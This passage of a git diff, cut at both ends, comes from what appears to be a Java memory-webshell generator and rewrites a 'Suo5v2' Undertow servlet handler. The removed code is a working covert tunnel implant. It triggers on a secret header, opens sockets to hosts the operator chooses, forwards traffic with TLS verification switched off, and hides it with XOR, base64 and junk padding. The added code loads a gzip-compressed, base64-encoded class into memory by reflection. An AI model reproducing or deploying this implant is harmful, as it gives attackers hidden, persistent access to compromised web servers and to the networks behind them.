Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private String randomString(int length) { - if (length <= 0) { - return ""; - } - Random random = new Random(); - char[] randomChars = new char[length]; - for (int i = 0; i < length; i++) { - int randomIndex = random.nextInt(CHARACTERS_LENGTH); - randomChars[i] = CHARACTERS.charAt(randomIndex); + out.close(); } - return new String(randomChars); - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { } - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - public void run() { - // full stream - if (this.mode == 0) { - try { - pipeStream(gInStream, gOutStream, true); - } catch (Exception ignore) { - } - return; - } - - Object[] objs = (Object[]) getKey(this.gtunId); - if (objs == null || objs.length != 3) { - - return; - } - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue readQueue = (BlockingQueue) objs[1]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - boolean selfClean = false; - - try { - if (mode == 1) { - // read thread - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { - selfClean = true; - break; - } - } - } else { - // write thread - while (true) { - byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { - selfClean = true; - break; - } - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } catch (Exception e) { - } finally { - if (selfClean) { - - removeKey(this.gtunId); - } - readQueue.clear(); - writeQueue.clear(); - try { - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - - } + public Class reflectionDefineClass(byte[] classBytes) throws Exception { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java index be47db6e..de2d8f15 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java @@ -1,51 +1,23 @@ package com.reajason.javaweb.memshell.shelltool.suo5v2; -import javax.net.ssl.*; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Random; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.TimeUnit; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - private static HashMap addrs = collectAddr(); - private static Hashtable ctx = new Hashtable(); - - private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; - private final int CHARACTERS_LENGTH = CHARACTERS.length(); - private final int BUF_SIZE = 1024 * 16; - - private InputStream gInStream; - private OutputStream gOutStream; - private String gtunId; - private int mode = 0; +public class Suo5v2UndertowServletHandler extends ClassLoader { + private static Class suo5V2Class; + private static String suo5V2GZipBase64; public Suo5v2UndertowServletHandler() { } - public Suo5v2UndertowServletHandler(InputStream in, OutputStream out, String tunId) { - this.gInStream = in; - this.gOutStream = out; - this.gtunId = tunId; - } - - public Suo5v2UndertowServletHandler(String tunId, int mode) { - this.gtunId = tunId; - this.mode = mode; + protected Suo5v2UndertowServletHandler(ClassLoader parent) { + super(parent); } @Override @@ -60,9 +32,11 @@ public boolean equals(Object obj) { } Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null && value.contains(headerValue)) { - new Suo5v2UndertowServletHandler().process(request, response); + if (suo5V2Class == null) { + byte[] bytes = gzipDecompress(decodeBase64(suo5V2GZipBase64)); + suo5V2Class = new Suo5v2UndertowServletHandler(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length); + } + if (suo5V2Class.newInstance().equals(new Object[]{request, response})) { return true; } } catch (Throwable ignored) { @@ -70,1006 +44,37 @@ public boolean equals(Object obj) { return false; } - private void process(Object request, Object response) { - String sid = null; - byte[] bodyPrefix = new byte[0]; - try { - InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); - HashMap dataMap = unmarshalBase64(reqInputStream); - - byte[] modeData = (byte[]) dataMap.get("m"); - byte[] actionData = (byte[]) dataMap.get("ac"); - byte[] tunIdData = (byte[]) dataMap.get("id"); - byte[] sidData = (byte[]) dataMap.get("sid"); - if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { - return; - } - if (sidData != null && sidData.length > 0) { - sid = new String(sidData); - } - - String tunId = new String(tunIdData); - byte mode = modeData[0]; - switch (mode) { - case 0x00: - sid = randomString(16); - processHandshake(request, response, dataMap, tunId, sid); - - break; - case 0x01: - setBypassHeader(response); - processFullStream(request, response, dataMap, tunId); - break; - case 0x02: - setBypassHeader(response); - // don't break here, continue to process - case 0x03: - byte[] bodyContent = toByteArray(reqInputStream); - if (processRedirect(request, response, dataMap, bodyPrefix, bodyContent)) { - - break; - } - - if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { - // send to wrong node, client should retry - response.getClass().getMethod("setStatus", int.class).invoke(response, 403); - return; - } - - InputStream bodyStream = new ByteArrayInputStream(bodyContent); - int dirySize = getDirtySize(sid); - - if (mode == 0x02) { - // half mode - writeAndFlush(response, processTemplateStart(response, new String(sidData)), dirySize); - do { - processHalfStream(request, response, dataMap, tunId, dirySize); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - writeAndFlush(response, processTemplateEnd(sid), dirySize); - - } else { - // classic mode - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(response, new String(sidData))); - - do { - processClassic(request, baos, dataMap, tunId); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - - baos.write(processTemplateEnd(sid)); - response.getClass().getMethod("setContentLength", int.class).invoke(response, baos.size()); - writeAndFlush(response, baos.toByteArray(), 0); - } - - break; - default: - } - } catch (Throwable e) { - } finally { - try { - OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - out.flush(); - out.close(); - } catch (Throwable ignored) {} - } - } - - private void setBypassHeader(Object resp) throws Exception { - resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, BUF_SIZE); - resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); - } - - private byte[] processTemplateStart(Object resp, String sid) throws Exception { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "Content-Type", tplParts[0]); - return tplParts[1].getBytes(); - } - - private byte[] processTemplateEnd(String sid) { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - return tplParts[2].getBytes(); - } - - private int getDirtySize(String sid) { - Object o = getKey(sid + "_jk"); - if (o == null) { - return 0; - } - return (Integer) o; - } - - private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - dataMap.remove("r"); - // load balance, send request with data to request url - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - HttpURLConnection conn = null; - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(bodyPrefix); - baos.write(marshalBase64(dataMap)); - baos.write(bodyContent); - byte[] newBody = baos.toByteArray(); - conn = redirect(req, new String(redirectData), newBody); - OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - pipeStream(conn.getInputStream(), out, false); - } finally { - if (conn != null) { - conn.disconnect(); - } - } - return true; - } - return false; - } - - private void processHandshake(Object req, Object resp, HashMap dataMap, String tunId, String sid) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); - return; - } - - byte[] tplData = (byte[]) dataMap.get("tpl"); - byte[] contentTypeData = (byte[]) dataMap.get("ct"); - if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { - String tpl = new String(tplData); - String[] parts = tpl.split("#data#", 2); - putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); - } else { - putKey(sid, new String[0]); - } - - byte[] dirtySizeData = (byte[]) dataMap.get("jk"); - if (dirtySizeData != null && dirtySizeData.length > 0) { - int dirtySize = 0; - try { - dirtySize = Integer.parseInt(new String(dirtySizeData)); - } catch (NumberFormatException e) { - - } - if (dirtySize < 0) { - dirtySize = 0; - } - putKey(sid + "_jk", dirtySize); - } - - byte[] isAutoData = (byte[]) dataMap.get("a"); - boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; - if (isAuto) { - setBypassHeader(resp); - writeAndFlush(resp, processTemplateStart(resp, sid), 0); - - // write the body string to verify - writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); - - Thread.sleep(2000); - - // write again to identify streaming response - writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); - writeAndFlush(resp, processTemplateEnd(sid), 0); - } else { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, sid)); - baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); - baos.write(marshalBase64(newData(tunId, sid.getBytes()))); - baos.write(processTemplateEnd(sid)); - resp.getClass().getMethod("setContentLength", int.class).invoke(resp, baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - } - - private void processFullStream(Object req, Object resp, HashMap dataMap, String tunId) throws Exception { - InputStream reqInputStream = (InputStream) req.getClass().getMethod("getInputStream").invoke(req); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(req); - } - - Socket socket = null; + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; try { - socket = new Socket(); - socket.setTcpNoDelay(true); - socket.setReceiveBufferSize(128 * 1024); - socket.setSendBufferSize(128 * 1024); - socket.connect(new InetSocketAddress(host, port), 5000); - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); - } catch (Exception e) { - if (socket != null) { - socket.close(); - } - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); - return; - } - - - Thread t = null; - boolean sendClose = true; - try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - - Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId); - t = new Thread(p); - t.start(); - - while (true) { - HashMap newData = unmarshalBase64(reqInputStream); - if (newData.isEmpty()) { - break; - } - byte action = ((byte[]) newData.get("ac"))[0]; - switch (action) { - case 0x00: - case 0x02: - sendClose = false; - break; - case 0x01: - byte[] data = (byte[]) newData.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); - break; - default: - } - } - } catch (Exception ignored) { - } finally { - - try { - socket.close(); - } catch (Exception ignored) { - } - - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); - } - if (t != null) { - t.join(); - } - - } - } - - private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { - boolean newThread = false; - boolean sendClose = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - writeAndFlush(resp, createData, dirtySize); - - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - try { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); - } catch (Exception e) { -// - break; - } - } - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - break; - case 0x02: - - sendClose = false; - performDelete(tunId); - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); - } - } - } - - private void processClassic(Object req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws - Exception { - boolean sendClose = true; - boolean newThread = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - respBodyStream.write(createData); - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - byte[] readData = performRead(tunId); - respBodyStream.write(readData); - break; - case 0x02: - sendClose = false; - performDelete(tunId); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - respBodyStream.write(marshalBase64(newDel(tunId))); - } - } - } - - private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception { - if (data == null || data.length == 0) { - return; - } - OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - out.write(data); - if (dirtySize != 0) { - - out.write(marshalBase64(newDirtyChunk(dirtySize))); - } - out.flush(); - resp.getClass().getMethod("flushBuffer").invoke(resp); - } - - private byte[] performCreate(Object request, HashMap dataMap, String tunId, boolean newThread) throws Exception { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(request); - } - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - SocketChannel socketChannel = null; - HashMap resultData = null; - try { - socketChannel = SocketChannel.open(); - socketChannel.socket().setTcpNoDelay(true); - socketChannel.socket().setReceiveBufferSize(128 * 1024); - socketChannel.socket().setSendBufferSize(128 * 1024); - socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); - socketChannel.configureBlocking(true); - resultData = newStatus(tunId, (byte) 0x00); - BlockingQueue readQueue = new LinkedBlockingQueue(100); - BlockingQueue writeQueue = new LinkedBlockingQueue(); - putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); - if (newThread) { - new Thread(new Suo5v2UndertowServletHandler(tunId, 1)).start(); - new Thread(new Suo5v2UndertowServletHandler(tunId, 2)).start(); - } - } catch (Exception e) { - if (socketChannel != null) { - try { - socketChannel.close(); - } catch (Exception ignore) { - } - } - - resultData = newStatus(tunId, (byte) 0x01); - } - baos.write(marshalBase64(resultData)); - return baos.toByteArray(); - } - - private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - if (newThread) { - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - writeQueue.put(data); - } else { - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } - - private byte[] performRead(String tunId) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - BlockingQueue readQueue = (BlockingQueue) objs[1]; - int maxSize = 512 * 1024; // 1MB - int written = 0; - while (true) { - byte[] data = readQueue.poll(); - if (data != null) { - written += data.length; - baos.write(marshalBase64(newData(tunId, data))); - if (written >= maxSize) { - break; - } - } else { - break; // no more data - } - } - return baos.toByteArray(); - } - - private void performDelete(String tunId) { - Object[] objs = (Object[]) getKey(tunId); - if (objs != null) { - removeKey(tunId); - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - try { - // trigger write thread to exit; - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - } - } - - private int getServerPort(Object request) throws Exception { - int port; - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - return port; - } - - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { - try { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } finally { - // don't close outputStream - if (inputStream != null) { - try { - inputStream.close(); - } catch (Exception ignore) { - } - } - } - } - - private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { - buffer.clear(); - int bytesRead = socketChannel.read(buffer); - if (bytesRead <= 0) { // EOF or error - return new byte[0]; - } - - buffer.flip(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - return data; - } - - private static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { - } - return addrs; - } - - private boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - private HttpURLConnection redirect(Object request, String rUrl, byte[] body) throws Exception { - String method = (String) request.getClass().getMethod("getMethod").invoke(request); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - Enumeration headers = (Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equalsIgnoreCase("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(body.length)); - } else if (k.equalsIgnoreCase("Host")) { - conn.setRequestProperty(k, u.getHost()); - } else if (k.equalsIgnoreCase("Connection")) { - conn.setRequestProperty(k, "close"); - } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, (String) request.getClass().getMethod("getHeader", String.class).invoke(request, k)); - } + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Throwable e) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } - - OutputStream rout = conn.getOutputStream(); - rout.write(body); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; } - - private byte[] toByteArray(InputStream in) { + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); byte[] buffer = new byte[4096]; - - int len; - while ((len = in.read(buffer)) != -1) { - baos.write(buffer, 0, len); - } - - return baos.toByteArray(); - } catch (IOException var5) { - return new byte[0]; - } - } - - private void readFull(InputStream is, byte[] b) throws IOException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) { - throw new IOException("stream EOF"); - } - bufferOffset += readResult; - } - } - - public HashMap newDirtyChunk(int size) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x11}); - if (size > 0) { - byte[] data = new byte[size]; - new Random().nextBytes(data); - m.put("d", data); - } - return m; - } - - private HashMap newData(String tunId, byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newDel(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newStatus(String tunId, byte b) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x03}); - m.put("s", new byte[]{b}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newHeartbeat(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x10}); - m.put("id", tunId.getBytes()); - return m; - } - - private byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - private int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - private void putKey(String k, Object v) { - ctx.put(k, v); - } - - private Object getKey(String k) { - return ctx.get(k); - } - - private void removeKey(String k) { - ctx.remove(k); - } - - private byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - private String base64UrlEncode(byte[] bs) throws Exception { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[0]) - .invoke(base64, new Object[0]); - value = (String) Encoder.getClass() - .getMethod("encodeToString", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass() - .getMethod("encode", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - value = value.replaceAll("\\s+", ""); - } catch (Exception e2) { - } - } - if (value != null) { - value = value.replace('+', '-').replace('/', '_'); - while (value.endsWith("=")) { - value = value.substring(0, value.length() - 1); - } - } - return value; - } - - - private byte[] base64UrlDecode(String bs) throws Exception { - if (bs == null) { - return null; - } - bs = bs.replace('-', '+').replace('_', '/'); - while (bs.length() % 4 != 0) { - bs += "="; - } - - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e2) { - } - } - return value; - } - - private byte[] marshalBase64(HashMap m) throws Exception { - // add some junk data, 0~16 random size - Random random = new Random(); - int junkSize = random.nextInt(32); - if (junkSize > 0) { - byte[] junk = new byte[junkSize]; - random.nextBytes(junk); - m.put("_", junk); - } - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - // xor key - byte[] key = new byte[2]; - key[0] = (byte) ((Math.random() * 255) + 1); - key[1] = (byte) ((Math.random() * 255) + 1); - - byte[] data = buf.toByteArray(); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key[i % 2]); - } - data = base64UrlEncode(data).getBytes(); - - ByteBuffer dbuf = ByteBuffer.allocate(6); - dbuf.put(key); - dbuf.putInt(data.length); - byte[] headerData = dbuf.array(); - for (int i = 2; i < 6; i++) { - headerData[i] = (byte) (headerData[i] ^ key[i % 2]); - } - headerData = base64UrlEncode(headerData).getBytes(); - dbuf = ByteBuffer.allocate(8 + data.length); - dbuf.put(headerData); - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshalBase64(InputStream in) throws Exception { - HashMap m = new HashMap(); - byte[] header = new byte[8]; // base64 header - readFull(in, header); - header = base64UrlDecode(new String(header)); - if (header == null || header.length == 0) { - return m; - } - byte[] xor = new byte[]{header[0], header[1]}; - for (int i = 2; i < 6; i++) { - header[i] = (byte) (header[i] ^ xor[i % 2]); - } - ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); - int len = bb.getInt(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - bs = base64UrlDecode(new String(bs)); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ xor[i % 2]); - } - - byte[] buf; - for (int i = 0; i < bs.length; ) { - int kLen = bs[i] & 0xFF; - i += 1; - if (i + kLen > bs.length) { - throw new Exception("key len error"); + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 > bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private String randomString(int length) { - if (length <= 0) { - return ""; - } - Random random = new Random(); - char[] randomChars = new char[length]; - for (int i = 0; i < length; i++) { - int randomIndex = random.nextInt(CHARACTERS_LENGTH); - randomChars[i] = CHARACTERS.charAt(randomIndex); - } - return new String(randomChars); - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - public void run() { - // full stream - if (this.mode == 0) { - try { - pipeStream(gInStream, gOutStream, true); - } catch (Exception ignore) { - } - return; - } - - Object[] objs = (Object[]) getKey(this.gtunId); - if (objs == 